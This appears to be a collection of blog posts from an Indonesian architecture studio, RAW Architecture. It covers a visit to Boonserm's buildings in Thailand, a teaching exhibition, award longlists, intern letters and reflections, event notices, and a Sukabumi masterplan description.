Beberapa bulan ini saya berusaha mencari teman untuk bisa berdiskusi mengenai arsitektur. Arsitektur di dalam pikiran saya adalah sebuah disiplin yang perlu untuk diperjuangkan dan dihayati yang dimulai dari hal yang kecil yang kemudian menjadi besar, merubah orang yang menempatinya termasuk merubah arsiteknya sendiri. satu karya menuju satu karya yang lainnya. Kualitas ditentukan bukan oleh berapa banyaknya kuantitas yang dikerjakan, kualitas diatas kuantitas. Kualitas pun tidak berbanding lurus dengan kepopuleran satu karya tersebut, penilaian satu karya terhadap yang lain muncul dari kekuatan proses pembuatannya. Hal tersebut yang seringkali membuat saya berdecak kagum karena semangat perubahan, semangat kejujuran, semangat untuk tampil dalam semangat eksperimen tanpa takut salah. Arsitek itu adalah manusia yang seharusnya tampil jujur, apa adanya. . Melalui Boonserm dan karyanya saya mendapatkan refleksi dari diskusi kita, saya berusaha merefleksikan pembicaraan kita, energi yang besar, keberanian yang besar, yang membuat refleksi terhadap proses untuk terus berbagi ke orang lain untuk menikmati karya yang mampu berbicara dari hati. Semua orang bisa berbicara banyak melalui kata, namun arsitek berbicara melalui karya. Karya yang dalam berbicara melalui dirinya sendiri, kemudian arsitek meletakkan dirinya di dalam sepatu orang lain. Begitu Ia melihat perbedaan violet le duc terhadap john ruskin. Seketika itulah manifestasi antara konteks, teori, metodologi, implementasi menjadi satu kesatuan. Sungguh sebuah titik yang saya apresiasi. Keterbukaan, semangat untuk berbagi, kejujuran dalam berbuat berpikir dan membentuk masa yang sekarang membuat boonserm ada di konteks yang sekarang. . Keesokan harinya kami berangkat ke Kantana untuk melihat karyanya. Di dalam karya Kantana ia mengkonstruksi axis yang merupakan jalan masuk dengan bebatuan kerikil, kerikil yang ada tidak basah dan kering. Jalan itu memiliki drainase yang baik. Vista diciptakan dari bentuk bata yang disusun menyerupai candi yang membelah zona – zona yang berbeda. Keesokan harinya, bersama Nantapon, kita menuju karyanya selanjutnya yaitu sebuah pavilion yang memiliki fungsi restaurant, bangunan disini memiliki komposisi tektonika yang meredefiniskan tektonika tangga dan tampak kotak – kotak yang terletak di dalam sebuah kubus yang tersusun di dalam rangka yang dibungkus material triplek. Tangga tersebut menghubungkan mezanine dengan lantai dasar.setelah itu kami berjalan kaki ke bangunan sebelahnya terdapat bangunan yang sedang dibangun konstruksi yang sedang berjalan yang juga didesain oleh Boonserm. Bangunan itu menggunakan konstruksi glasblock yang ditutup sisinya oleh kayu lokal. Antar glassblock di perkuat dengan sambungan besi. Konstruksinya seperti kertas yang dilipat dan duduk di atas konstruksi beton. Setiap massa dipecah yang dihubungkan dengan jembatan, didalam massa tersebut terdapat solid void plat lantai yang menhubungkan secara visual axis dari satu massa menuju massa yang lain, menghadap ke pepohonan dan sungai. . Di era sosial media yang begitu cepat, karya arsitektur bukanlah soal jumlah like dan follower tapi adalah soal totalitas menjalani hidup sabatikal yang penuh pengabdian. Seringkali jalannya adalah jalan yang sunyi dan apabila ia menjadi jalan yang ramai biarkan kita membagikan kebaikan untuk orang lain dengan jujur apa adanya. Satu kali ini saya akan berdoa untuk boonserm untuk kebaikan yang dibagikannya ,termasuk untuk saya sendiri yang melewati doa ruang dan waktu. Hidup hanya sementara jalani dengan sungguh- sungguh. Pertemuan kami ditutup dengan sebuah pelukan untuk pesan untuk jangan pernah menyerah. . Ekonomi, sosial, lingkungan, manusia membentuk konteks – lahir arsitektur. Pribadi yang sederhana, bertemu orang – orang yang sederhana membuat kembali belajar. Boomserm membuat komposisi kantana dan dua karya lain yang saya kunjungi . Pendekatannya adalah pendekatan yang apa adanya. Arsitektur adalah karya yang memberkati klien, pengguna. . Di akhir perjalanan, Nantapon mengundang saya ke Samsen Hotel karya dari Chat Pong. Disitu istri dari Boonserm akan menyajikan dansa Zumba. satu dibalik tarian zumba di satu sisi di depan bangunan hotel, saya melihat ada boonserm, ada nantapon disitu ada murid- murid ada teman2 mereka dan saya melihat ada semangat persaudaraan untuk saling mendukung. Kualitas yang jujur dan jarang ditemui. Boonserm mengajak saya berbicara ke satu sudut ruangan dan ia bercerita mengenai perjalanan hidupnya di dalam arsitektur. Satu diskusi tersebut merubah persepsi saya mengenai sebuah arti di dalam menjadi arsitek. Bahwa kita harus berjarak untuk bisa menilai, kita harus tekun untuk berproses, kita harus terus melayani sekitar kita. Ciptakanlah karya yang tumbuh dari tanah. . Photo of Boonserm’s work, I always touched by humbleness and openness, there come honesty and strong body of work. .
I visited Boonserm’s work with Nantapon photo cr to Nantapon
cr photo bangkit
cr photo Nantapon
cr photo bangkit
cr photo bangkit
cr photo bangkit
cr photo bangkit
cr photo bangkit
cr photo bangkit
For the past few months I've been trying to find friends to discuss architecture with. Architecture in my mind is a discipline that needs to be fought for and lived that starts from small things which then becomes big, changing the people who occupy it, including the change of the architect himself. one work to another. Quality is determined not by how much quantity is done, quality over quantity. Quality is not directly proportional to the popularity of one work, the assessment of one work against another arises from the strength of the manufacturing process. This is what often makes me chuckle because of the spirit of change, the spirit of honesty, the spirit to appear in the spirit of experimentation without fear of making mistakes. The architect is a human being who should appear honest, as it is.
.
Through Boonserm and his work I get reflections from our discussions, I try to reflect on our conversations, great energy, great courage, which makes reflections on the process of continuing to share with others to enjoy works that are able to speak from the heart. Everyone can speak a lot through words, but architects speak through works. The deep work speaks through itself, then the architect puts himself in someone else's shoes. As soon as he saw the difference between violet le duc and john ruskin. At that moment, the manifestation of context, theory, methodology, implementation becomes a single unit. It's a point that I appreciate. Openness, passion for sharing, honesty in thinking and shaping the present make boomerm exist in the current context.
The next day we left for Kantana to see his work. In Kantana's work he constructs an axis which is an entrance with gravel, the gravel is neither wet nor dry. The road has good drainage. Vista is made of bricks that are arranged to resemble a temple which divides the different zones. The next day, together with Nantapon, we went to his next work, which is a pavilion that has a restaurant function. The building here has a tectonic composition that defines ladder tectonics and looks like boxes located inside a cube arranged in a frame wrapped in plywood material. The stairs connect the mezzanine with the ground floor. after that we walked to the building next to it there is a building under construction in progress which is also designed by Boonserm. The building uses a glass block construction which is covered on the sides by local wood. Between glassblocks are reinforced with iron connections. The construction is like folded paper and sits on a concrete construction. Each mass is broken down which is connected by a bridge, inside the mass there is a solid void floor plate that visually connects the axis from one mass to another, overlooking the trees and the river.
.
In this fast-paced era of social media, architectural work is not about the number of likes and followers but is about the totality of living a devoted sabbatical life. Often the path is a lonely road and when it becomes a busy road, let us share kindness with others honestly as it is. This time I will pray for Boonserm for the goodness he shares, including for myself who has passed the prayer of space and time. Life is only temporary, live it earnestly. Our meeting closed with a hug for a message to never give up.
Economic, social, environmental, human form the context - born architecture. A simple person, meeting simple people makes learning again. Boomserm composed cantana and two other works that I visited. The approach is an as-is approach. Architecture is a work that blesses clients, users.
.
At the end of the trip, Nantapon invited me to the Samsen Hotel by Chat Pong. There the wife of Boonserm will present a Zumba dance. one behind the zumba dance on one side in front of the hotel building, I saw there was a boonserm, there were nantapon there were students and their friends and I saw a spirit of brotherhood to support each other. Honest and rare quality. Boonserm took me to a corner of the room and he told me about his life journey in architecture. One such discussion changed my perception of what it means to be an architect. That we must be distant to be able to judge, we must persevere to process, we must continue to serve those around us. Create works that grow from the ground.
.
Photo of Boonserm's work, I always touched by humbleness and openness, there come honesty and strong body of work.
Saya menulis “Ini adalah buku anak – anak didik saya yang akan diluncurkan minggu depan tanggal 16 dilengkapi dengan pameran dengan judul menjadi arsitek di omah library, ada total 59 buku dengan 59 penulis dilengkapi dengan no isbn yang diregistrasi di perpustakaan nasional. Pada waktu pertama, diminta anis dan pak ferry untuk mengisi kelas keprofesian di kampus UPH, ya ok isinya tentang materi keprofesian, namun yang terpenting adalah bagaimana bisa mengetahui tentang keprofesian kalau tidak mencintai profesi ini. Buku ini adalah tentang cinta anak – anak ini terhadap arsitektur dan profesinya, melihat tata laku dan kerumitannya di dalam tulisan yang personal. Mereka 59 orang harapan kita, akan berpameran di omah library yang disiapkan oleh tim omah, dengan kurasi bersama anas hidayat, bangkit mandela , rifandi septiawan nugroho dan saya. Pameran dimulai tanggal 16 desember – awal januari 2018. Kita doakan semoga mereka semakin semangat dan termotivasi ya. ”
selesai menulis ini, saya tersenyum, dan merasakan kebahagiaan, “fullfilment”
Sudah 3 hari ini saya meluangkan waktu dari senja hari begitu selesai bekerja untuk mempersiapkan pameran anak – anak didik saya di keprofesian UPH. Saya ingat bertemu teman lama untuk mendengarkan dirinya bercerita bahwa Theoretical Anxiety yang di tulis oleh Rafael Moneo akan sangatlah tidak mungkin untuk diajarkan di bangku S1. Mungkin yang dimaksud bukanlah tidak mungkin, namun dalam pikiran saya, perlu dikontekstualkan, atau disesuaikan dengan keadaan mahasiswa yang diajar, siapa dia, darimana asalnya, pernah mengambil mata kuliah apa saja, dan apa jati dirinya. Penyesuaian – penyesuaian tersebut menjadi penting seperti satu lokasi desain dimana pada awal hanyalah ada satu lahan lalu kemudian arsitektur muncul dengan kecantikannya bahwa tidak pernah ada sesuatu yang tidak mungkin. Oleh karena itu, kesadaran akan apa saja yang diketahui menjadi penting, dimana proses pembelajaran pastinya untuk menambah kosa kata dalam memahami kompleksitas, kerumitan, ketidakterdugaan profesi arsitek dimana nanti orang setelah melalui proses belajar, akan lebih mudah untuk beradaptasi secara sengaja atau naluriah.
Sudah 4 bulan saya bersama anak – anak ini dengan jati diri mereka yang unik – unik. Masing – masing punya mimpi untuk bisa sukses, dimana mereka memiliki memori masa lalunya. Ketika saya diminta Pak Ferry dan Anis untuk mengajarkan mereka untuk keprofesian arsitek, saya mencoba untuk menemukan kegelisahan apa yang akan membuat kelas ini signifikan untuk pembelajaran murid – muridnya. Pembelajaran tentang bagaimana menjadi manusia yang memiliki keterbatasan profesi yang mengetahui tata laku, batasan, norma, kesepakatan umum di dunia menjadi penting. Yang saya takutkan adalah kita semua membuang – buang waktu bersama, tidak belajar, tidak tertarik, malah semakin apatis terhadap murid – murid, terhadap pengajarnya.
Theoretical Anxiety and Design Strategies in the Work of Eight Contemporary Architects ditulis oleh Rafael Moneo atas dasar ketertarikannya akan dunia teori arsitektur, ia memberikan interpretasi dan analisis terhadap beberapa karya arsitek berdasarkan inovasi teknologi, pendekatan design, dan teori yang dituliskan untuk menjelaskan karya mereka sendiri seperti James Stirling, Robert Venturi, Aldo Rossi, Peter Eisenman, Alvaro Siza, Frank Gehry, Rem Koolhaas, dan Herzog De Meuron. Pada akhirnya Moneo memberikan justifikasi bahwa keseluruhan teori itu tidaklah bisa diaplikasi dengan generalisasi yang bulat – bulat, namun justru kesetiap karya yang didesain oleh arsitek – arsiteknya perlu dilihat lebih detail tanpa perlu terperangkap dalam teori – teori yang digunakan arsitek bersangkutan.
Semua orang pasti ingin dihargai dan ingin sukses dalam kehidupan. Dihargai karena garis tangannya seperti itu apa adanya dan sukses karena berkecukupan materi dan batin sehingga menjadi manusia yang bahagia. [1] . Saya terus saja berpikir bahwa waktu kita di dunia ini tidaklah lama, setiap momentumnya adalah momentum untuk memberikan yang terbaik karena waktu tidak pernah kembali, dan semuanya pasti akan berakhir. Di dalam 4 bulan yang untuk saya ini beratnya bukan main, setiap minggu adalah minggu untuk kembali ke tumpukan buku yang begitu banyak. Seringkali saya tertidur untuk kemudian terjaga di saat subuh dan kemudian membayangkan apa yang akan dialami murid – murid saya, apakah mereka akan belajar dari materi ini, ataupun sebaliknya, tidur di kelas karena materi ini begitu membosankan. Seperti itulah setiap satu hari di dalam satu minggunya, dari petang menuju dini hari, belajar untuk mengajar, dan mengajar untuk belajar, setiap perputaran iterasi desain, ada kehidupan didalamnya.
Matahari terbit di pagi hari, membawa diri ini bangun lebih pagi dari biasa, hari ini adalah pembukaan pameran, saya berjalan di lorong pameran perpustakaan, memastikan bahwa semua panel tertempel dengan baik, dan 59 buku tersusun dengan rapih, dan saya pun merasa ini adalah sebuah kehormatan untuk diberikan kesempatan bertemu dan membimbing murid – murid saya ini. Kalian luar biasa!
catatan :
[1] Hal ini digaris bawahi oleh Robert Greene dalam bukunya Mastery, bahwa setiap orang perlu belajar mengenai bagaimana menjaga pikiran yang orisinal yang ia sebut Original Mind, dan menyesuaikan terhadap bagaimana kita harus menghadapi orang – orang di sekitar kita yang dialami sehari – hari yang ia sebut Conventional Mind. Kombinasi dari keduanya ia sebut dimensional mind.
[2] Pembahasan mengenai Theoritical Anxiety di tulis khusus di dalam buku qualities of perception yang ditulis oleh Jeffrey Kipnis.
[x] cover by Pianist Nobuyuki Tsujii at Carnegie Hall his own composition “Elegy for the Victims of the Tsunami
We are happy to partake along with another 116 firm worldwide. Realrich Architecture Workshop announced as part of studio longlist by Dezeen Awards 2019.
In the span of 8 years, RAW has handled more than 500 project with multiple scale and difficulties, consistently creates its own tectonic grammar as its body of works. RAW has been featured in numerous publications and attained several International and National Architecture design awards, passionately celebrates the Indonesian architecture and its true local material and craftsmanship, based on its context and culture. Through book distribution and discussion, RAW also actively contributes in architectural education as well to enrich our own pursuit in architecture mastery and for the sake of our next generation.
An art gallery built into a sand dune, a pastel-pink church hall and Europe’s first underwater restaurant are among 267 architecture projects that made the 2019 longlist for Dezeen Awards.
We attracted over 4,500 entries from 87 different countries for the second edition of our awards programme, which celebrates the world’s best new architecture, interiors and design.
The longlist for the architecture categories features some of the most respected names in the industry, including Foster + Partners, David Chipperfield Architects, Studio Gang and Snøhetta.
It also features many smaller studios that are prolific in their home countries, such as Vo Trong Nghia Architects in Vietnam and the UK’s Peter Barber Architects.
Other highlights from the architecture longlist include a house on the Great Wall of China, a cyclone shelter in Bangladesh, a concrete pavilion with a 3D-knitted formwork and the UK’s first sustainable mosque.
We are happy to announce that Alfa Omega School listed in architecture longlist by Dezeen Awards 2019 among 267 architecture projects from a total of 4.5000 entries.
Alfa Omega School is a story of local craftsmanship, challenge, and improvisation. The platform-based building originally designed to respond to the flooded swamp area where it sits. The design utilizes a combination of various local materials such as bamboo, brick, and Nipah leaves. It is completed within the limited resource and time (6 months), with the help of 2 groups of local craftsman. The roof construction uses a vernacular approach and influenced by west Javanese roof, as a gesture of local wisdom which also accelerates the period of building.
As the finished building seen from afar, Alfa Omega School became the center of harmony between its people, user, and nature. Alfa Omega School constructed with humanistic aspect in mind as a grassroots educational building.
An art gallery built into a sand dune, a pastel-pink church hall and Europe’s first underwater restaurant are among 267 architecture projects that made the 2019 longlist for Dezeen Awards.
We attracted over 4,500 entries from 87 different countries for the second edition of our awards programme, which celebrates the world’s best new architecture, interiors and design.
First, I want to introduce myself, my name is Kristoforus Kevin and I’m from Tarumanagara University. I was graduated in October 2018. I’m writing to apply for the position of Fresh Graduate Internship at RAW Architecture. I know RAW Architecture since I was in University. I have no doubt RAW is known as an Architectural Firm who has hold a few awards as a nominee from National (Indonesia) and International.
In position I applied for I want to tell a little story about my Bachelor Degree Final Project. I held this degree by doing Building Design Project with the title is Stasiun Intermoda Kampung Bandan / Kampung Bandan Intermodal Station. I was accomplished this project in 3-4 months. This project is talking about an enhancement and revitalization in Transportation Infrastructure Sector. I was interested to took this topic because I saw Transportation is one of important things in many countries or cities in order to being developed. The purpose of develop the Transportation Sector is to fulfillment the People’s Mobility and Movement to accommodate the activities. I saw too the Government of Jakarta has start the Development in Jakarta, such as built a MRT, Re-Organize some district to be a Transit Oriented Development (TOD). From the facts above, I took this chance to think how to build an Infrastructure Project by escalate them better before. In the future also, Kampung Bandan will be develop as a TOD District. In this project, I learn a lot of things and knowledge, such as how to think in Urban Neighborhood Sector, how to think this project is belongs to Human Movement and Mobility. By compile these significant things in built the project triggered me to have a critical thinking, learn a new things and knowledge.
The main achievements that I had in my previous study was nominee and participants of Public Expose 8.25 (Annual Final Project Exibition in Tarumanagara University) with another 25 students. This is my greatest and highest award I ever get before. I feel my hard work in a few months paid off, but I don’t want to be too happy, because if we are feel too happy, we can be an arrogant. I don’t want to be a person like that, I assume this award as a booster for me to do more hard work to reach another achievement in the future.
In next September, I have a plan to continue my Master Degree in Architecture. I want to prepare myself in Architectural Knowledge. By doing the Internship at RAW architecture, I hope I can get plenty new useful knowledge outright train my skills and apply it in RAW Architecture. I’ve included my CV and Bachelor Degree Final Project a representation of me. Thank you for your time, chances, and consideration.
My time has come. Time to
farewell to everybody I met in RAW Headquarter. Time to farewell with every
pieces of memories in almost 3 Months I got in there. Farewell is doesn’t mean
to forget about it, but I have to grateful for the Experience, Knowledge,
Opportunity, and Time as long as I was there. Let me excerpt some wise words
“You can buy anything in this world, but you can’t buy time” This is really Has
a deep meaning to me, because for How much amount of money you can spend, how
rich you are, Time is Everything that no one wouldn’t change it.
My debut starts in Research
and Development Division to create a model of some RAW Project using the
Technology called Laser Cut. Sounds normal if using that machine to make a
model, but how if you operate the machine, create all of the part by your own
hand. In my opinion, it was a really exciting because you got an experience
maybe you’ve never got before, how does the machine works, and also from making
then model, I got a Scale of Space, Soul of Space, tectonically in Raw Material,
The Fineness of Architectural Detail, etc which I didn’t really mind to it
before. Patient is really needed to kind of job like this, and it give me a
positive effect for my personality, make me do more precisely in every single
details. These things stimulate me to be ready involve in next project.
Furthermore, I was able to be
a part of one office space project team I spent the most. Some were had a high level
of difficulties and complexities by intense discussion among Mr. Realrich
Sjarief – Owner, Mr. Realrich Sjarief to us. I saw a never ending process of
exploring, developing, adjusting the design until only we create the limit for
that. Creating a limit isn’t we’re already satisfied, but we create it because
of we think we’re already push the limit for them. From that case, I learnt not
to discover something until you can’t handle it as well, it will make you lost
in somewhere you don’t understand anymore. From the beginning you have to know
when it time to stop and it is useful also to know yourself deeply, why you
have to stop for it. Sometimes get back in a moment can be better for yourself,
it can recharge your mind, energy, spirit to continue it again rapidly.
Mr. Realrich Sjarief had ever
been told us about Trimurti, consist the triple deity of supreme divinity in
Hinduism in which the function of creation, maintenance, and destruction. He
can correlate them in Architectural way, for instance, in this modern world,
our universe got the impact of environmental damage from our ego in order to
build prestige development. we didn’t conscious, what we did before affect our
society. As an Architect we should be aware because if we greedy over pride, we
also can be the destructor for our Natural Environment. What I’ve talking about
is pictured in Alpha Omega School by RAW Architecture
In contrary, I’m amazed the
RAW slogan “Architecture Mastery in Natural State” firstly, I tried to
interpret what the significance is? After in RAW, I think, I might define, RAW
wants to create every project with in their pure value of design by empower the
craftsmanship. Natural have a million of connotation, but when we know what is
the purpose, we can found pattern to answer the natural state itself. If you
haven’t found it, do not fell anxiety, calm down your mind by development of
sensitivity and acceptance through relaxation of the body, feeling and mind
which re-tell by Mr Realrich Sjarief in one day of annual Monday discussion.
Many life value were taught to us and give a refreshment for the week and also
give us what are the value which we can apply in studio culture.
RAW Architecture build an
initiative, interactive, responsible, and good work ethics systems which can be
a positive theory for all of the people work in RAW for whatever their
division. It has a strong base as an Architectural Studio which pilot to another
studio in Indonesia or other countries. OMAH Library as a part of RAW
Architecture also influence and Inspiring young generation who learn Architecture,
or other related major of knowledge to deepen their thinking by reading a book,
making an interactive discussion to be more analytical in their thoughts to aim
it can be implement in studio works.
On The Other Hand, I’m
Thankful too for the special opportunity to be a part of RAW Architecture,
Thus, I got a plenty of Knowledge by an Interactive Studio Learning Process
through discussion that happened during my time in there. If I should describe
it, RAW is a Unique, Interactive, Creative, Deep and Critical thinking into the
Detail and keep in Natural State itself.
To Conclude, the chance to
enhance my experience in RAW, I will never forget it, and I really impressed
how strong the solidarity between each other to create a nice atmosphere in
studio and keep the same as the tagline “Best Office in The World “
Bali terpilih menjadi tempat pertama diadakannya roadshow Arsitektur Nusantara yang diselenggarakan oleh Propan Raya, pada Rabu, 10 April 2019. Lokasi tepatnya berada di Aula Wicwakarma Jurusan Arsitektur Fakultas Teknik Universitas Udayana (UNUD), Bali. Antusias para peserta saat mendengarkan kuliah umum pun terlihat selama acara roadshow Arsitektur Nusantara berlangsung.
Pada acara perdana roadshow Arsitektur Nusantara 2019 dihadiri oleh Asisten 1 Walikota Denpasar, I Made Toya SH, MH; Kepala Dinas Pariwisata Pemerintah Kota Denpasar, Desiree Mulyani; Ketua Ikatan Arsitek Indonesia area Bali, I Kadek Prana Jaya; Wakil Dekan 1 FT UNUD, Prof Ir. Ngakan Putu Sueca, MT, PHD; Koprodi Arsitektur FT UNUD, Prof. Dr. Ir. A. A. Ayu Oka Saraswati, MT; para dosen arsitektur Universitas Udayama; komunitas arsitek; mahasiswa-mahasiswi arsitektur, dll.
Terselenggaranya acara roadshow Arsitektur Nusantara 2019, tak terlepas dari dukungan Himpunan Mahasiswa Arsitektur (HMA) Universitas Udayana, yang disebut dengan HMA Wicwakarma, serta Propan Raya cabang Bali. “Kami memang ingin melibatkan para generasi muda agar mereka lebih kreatif dan memiliki tanggung jawab, di luar belajar,” ucap Direktur PT Propan Raya, Yuwono Imanto.
The need for child-friendly architecture in Indonesia feels less attention even though Indonesian architecture has recently developed rapidly. In fact, children need facilities that enable them to learn motorically for physical and mental development. PARADESC 2019: Kidtopia wants to invite architecture students from various universities throughout Indonesia to pour creativity into child-friendly architectural design works.
Jury:
1. Realrich Sjarief (Principal of RAW Architecture)
2. Deddy Wahjudi (Principal of LABO, IAI Jury)
3. Yuswadi Saliya (UNPAR Academician)
The name Realrich Sjarief may not be familiar to the public, but he is certainly no stranger to the realm of Indonesian architecture. An architect and founder of RAW (architectural firm) is known for his honest design and prioritizes the authenticity of materials that combine uniqueness and culture. For him, the simplicity and function of a building is the main essence that must be put forward. Then what is the man behind the success of RAW Material? Here are 4 things about Realrich Sjarief.
Konsep perencanaan Masterplan Pusat Pemerintahan Kota Sukabumi ini didasarkan atas 3 buah prinsip dasar. Prinsip pertama yaitu keterhubungan dengan membuka akses pedestrian kedalam kawasan di sisi barat timur dan utara selatan untuk memberikan sumbangsih ruang urban yang berkualitas dimana terjadi interaksi antara warga kota Sukabumi yang berpusat di dalam pusat pemerintahan. Kualitas ruang pedestrian yang terjadi diperkuat dengan vegetasi peneduh, program yang ditempatkan di podium yang mengaktifkan seperti (UMKM), fasilitas umum, dan juga tempat duduk sebagai tempat berkomunikasi antar-warga dan pamong kota – desa. Sirkulasi pedestrian diletakkan membentang dari sumbu utara – selatan dan barat – timur. Sedangkan akses mobil diletakkan mengelilingi bangunan yang dihubungkan dengan drop off dan tempat parkir.
Prinsip kedua adalah prinsip untuk mengolah air sesuai dengan kontur lapangan. Zona selatan diperuntukkan untuk masjid umum yang terintegrasi dengan konsep Water Sensitive Urban Design dengan kontur yang terendah. Sedangkan Zona utara diperuntukkan untuk gedung walikota. Zona barat diperuntukkan untuk Dinas – dinas dan zona timur diperuntukkan untuk DPRD. Konsep WSUD yang terjadi dipisahkan dengan konsep clustering per bangunan yang berpusat di daerah courtyard dimana air diresapkan ke tanah dan air curahan hujan ditampung untuk digunakan kembali untuk sistem flushing toilet.
Prinsip ketiga adalah prinsip untuk membentuk desain bangunan yang kontekstual dan lokal terbentuk dengan penghawaan alami sehingga erbentuk organisasi ruang yang memiliki sistem cluster dan courtyard dengan taman di tengah – tengah massa bangunan. Sistem fasade bangunan dengan kombinasi material lokal yang memiliki ketahanan terhadap cuaca yang terbentuk dari tesis dan anti tesis terhadap struktur tradisional bangunan setempat sehingga memberikan kearifan lokal untuk arsitektur setempat. Sistem atap bangunan didesain dengan mengintegrasikan solarpanel dan sistem penampungan air dari air hujan dan diintegrasikan dengan tangki yang terletak di tengah – tengah taman bangunan membentuk ekosistem bangunan dan alam.
Principal : Realrich Sjarief ST. MUDD. IAI.
Design Team : Alifian Kharisma, Fakhriyyah Khairunida , Thomas Santoso, Timbul Arianto, Viviyani Santosa , Arlene Dupe , Kanigara Ubazsti
ARCHINESIA Academy is coming back for the 8th time on 20-21 March 2019 in ICE BSD City. Realrich Sjarief was invited to give a lecture on how to manage architecture firm.
Good firm is the combination of positive theory, normative theory, team structure, and good attitude. The other things is depends on the context of each architecture firm. Realrich Sjarief, as a principal of RAW also said that managing architecture firm is about intellectual integrity, not only for internal team, but also for the clients. Beside that, playing of leadership, such as having a lot of discussion and dialogues, do not patronizing in each other, teaching and sharing knowledge, it also become one of the important things in the journey of the firm.
Realrich Sjarief invited to be part of The Worldbex Seminars 2019 Manila, Philippine. RAW (Realrich architecture Workshop) Architecture’s design director Ar. Realrich Sjarief will share talk on “Sustainable and Conscious Architecture, Exploration of Alpha Omega, and the Philosophy of Suwung.” The event is a sharing, presentation and discussion together with practicioners in Singapore, Philipines, Thailand. The 2019 Event Theme is “A World Built Bolder.”
Membedah dan Membahas dari The Guild ke Omah Boto, a sharing agenda managed by Universitas Kristen Duta Wacana on Saturday, February 9th, 2019. This agenda invited Realrich Sjarief, Andy Rahman, Eka Swadiansa, and Anas Hidayat to give some lectures about their story that bridging RAW’s The Guild to Andyrahman’s Omahboto.
The Guild is a “cave”, living place for family also working place for Realrich Sjarief with their colleagues: RAW, Omah Library, and so on. This book was written by Realrich Sjarief and Anas Hidayat. Meanwhile, the Omahboto, Andyrahman’s works was encouraged to exploring Nusantara’s craftsmanship by the art of brick that written in his book, Natabata.
I was determined to intern at RAW
Architecture after I read about it. The process of application started off quite
a few months back and I didn’t know if I would get the opportunity to work with
their team. I was inspired by the work and ideologies of the firm and today I can’t
believe that I came here and 8 weeks of my internship are already over.
I have had a wonderful experience interning
at RAW. I was able to be part of different kinds of projects – residential and
institutional. Some were delivered through models and some through technical
drawings. The discussions in the studio with Mr. Realrich and fellow designers
gave me an insight into how complex the system is- it starts with the design
process of brainstorming and bringing out alternative ideas for the project,
taking into consideration the site, client preferences till it finalises into a
good design. Mr. Realrich says that the design process is the framework to the
final product and requires to be stronger, requiring more time, thinking and
the attention to detail. Not only that, each project has an underlying story
and a philosophy that drives the project. I remember Mr. Realrich telling us about
the Alpha Omega school and how it symbolises life and death which is very
interesting because buildings impact lives of people and stand long enough to tell
a story.
The philosophy classes at RAW
introduced me to the ideas of some great philosophers which I did read about
later. One cannot truly teach architecture. It is a skill that you develop
through observation, experience and inspiration which is exactly what this
class meant to me. It opened up ideas and made me think of things that I
usually don’t.
Today, as an architecture
student I can see that there is so much more the world of architecture has to
offer. With so many emerging architects and advancing technology, it is
difficult to catch up. It makes me anxious if I can survive in this field. But
‘Anxiety’ is what drives you to work more and more if you use it as your
strength. I have always been in that condition since the time I joined
architecture but it probably can get the best out of you as long as you are
satisfied. Many of such Monday morning pep talks by Mr. Realrich have been
energy boosters for all the days I have interned at RAW. He has been a great
mentor and I am sure that his expertise will be
an influencing factor in the works I will do in the future.
The studio environment and the RAW
team has been very motivating and enthusiastic and I have a lot to take back
from it. I would like to thank Mr. Realrich and the team for giving me the
opportunity to experience this journey. It was a pleasure working with RAW and
I wish them all the best for their future endeavours.
I am Rucha Jaykhedkar currently studying in my fourth year (semester 7) of architecture in Mumbai but my hometown is Nashik, a smaller city 170kms away from Mumbai and I am seeking for an architectural internship at RAW for a period of 100 days as part of my University.
I have always wanted to pursue architecture and could never imagine myself doing anything else when it came to career choices. I believe that architecture is not only about designing a building or a space but a social science that influences the lifestyle of people and communities for better. It is what we build for the society and its future generations. Therefore, all of my projects that I designed during my design studios tried to reflect the larger idea of community participation in an Institution. Being in architecture school has also given me a wider perspective to look at the surroundings as I travel.
The practical aspect of building a project is what I want to learn from RAW and also hope to work on similar lines in the future. I admire your work because all the projects seem to respond so well to the context and yet make an impact. Also there are many styles of building with a wide range of play and experiments with form and material with real translation of diagrams to buildings. Hence I believe that there can be a lot to learn from all of these aspects.
Over the years I have designed projects in various contexts in India from a dense city like Mumbai, to a small village in the mountains of Chakrata. The various user communities make me think about spaces critically. I am enthusiastic, passionate and I can work very well in a team. My software skills include many computer software.
I am sure that this internship would be a great learning opportunity to grow in the field of architecture and I really look forward to working with your team. Thanking you in anticipation.
My
internship is purely based on my own interest and curiosity on how to transfer
myself from university to professional world. From whether I have to go
straight to pursue my masters, I want to work in small developing firm or
corporates to I want to make my own firm kind of plan which are no
doubt, several big milestones an architect wanna-be can think about. Lucky me,
Mr Realrich and colleagues in this architecture workshop has gave me
opportunity and introduced me warm-heartedly to experience eight weeks of
office life, studio culture and work ethics. In regards, I would express my
appreciation and thank you to Mr Realrich Sjarief, associates and many
designers that were willing to work closely with me and thought me both
technical and visionaries experience about architecture as profession.
Today,
I have come to my last day of my
independent internship program at RAW.
In the beginning of the internship, I have plenty of expectation I did took
notes on. And let me tell you, it is not the common ones. For instance,
involved in some urban scale projects, being able to create powerful detail
drawing to be used in a project, having to know how to develop a design on
paper into real-life structures on ground and dealing with clients.
Guess
what, only 15% of these come to life. That 15 % was being able to touch a small
part of the urban scale project – which is fair enough since those are infamous
expectation points a 2 months intern could have. As a reflection, many of my
expected points need some extra time to be learn throughout. Many others, they
just need more experience, more opportunities and more definition of an own
architectural language which have always been a true challenge any architect in
progress. However, I did involved in many interesting projects with Mr Realrich
and team that has taught me unexpectedly beyond my expectations both
technically and non technically.
Back
to my former curiosity statement, being in a state of progressing as a fresh
grad, I’ve always wondering what is it that a normal architect should pursue
after they graduate especially in my case – the rushing and extremely anxious
human being. Without neglecting my own personality, moral and values,
thoughtful lessons I have got in this studio has impact my thinking in an
immense way. While the world is often against the believe of architecture and
underestimate the sleepless night an architect has devoted on, Mr Realrich
never spend a second doubt on his calling in this field. Presumably, there are
distinctions I can help to breakdown between my state and Mr Realrich state.
After
a while of internships, teaching and learning as well as talks with Mr.
Realrich and friends I have learn a couple of new paradigm I think many of
interns should be aware of during their transition life. First of all, an idea
I got from Mr Realrich perspective is that, every architect in progress would
certainly need their first 10 years in their field to explore, to know what
they want, to move from many self-interest to another and to grow
uncomfortably. It is the only time we could hardly spend on learning and
deconstructing our ego as well as not to worry if we haven’t be settle in
life. Secondly, is how to work professionally, meaning that
even if we do small things we do it with our maximum effort with the a certain
quality where it is enough to be seen by others and enough to respect our own
master piece. Thirdly, is how to overcome a powerful anxiety – by balancing our
life. It is important not to fully spend time in front of our workstation but
to also have some leisure and tidying up our sanctuary. Last but not least, is
not to doubt on our believe and what we have been started as a form of
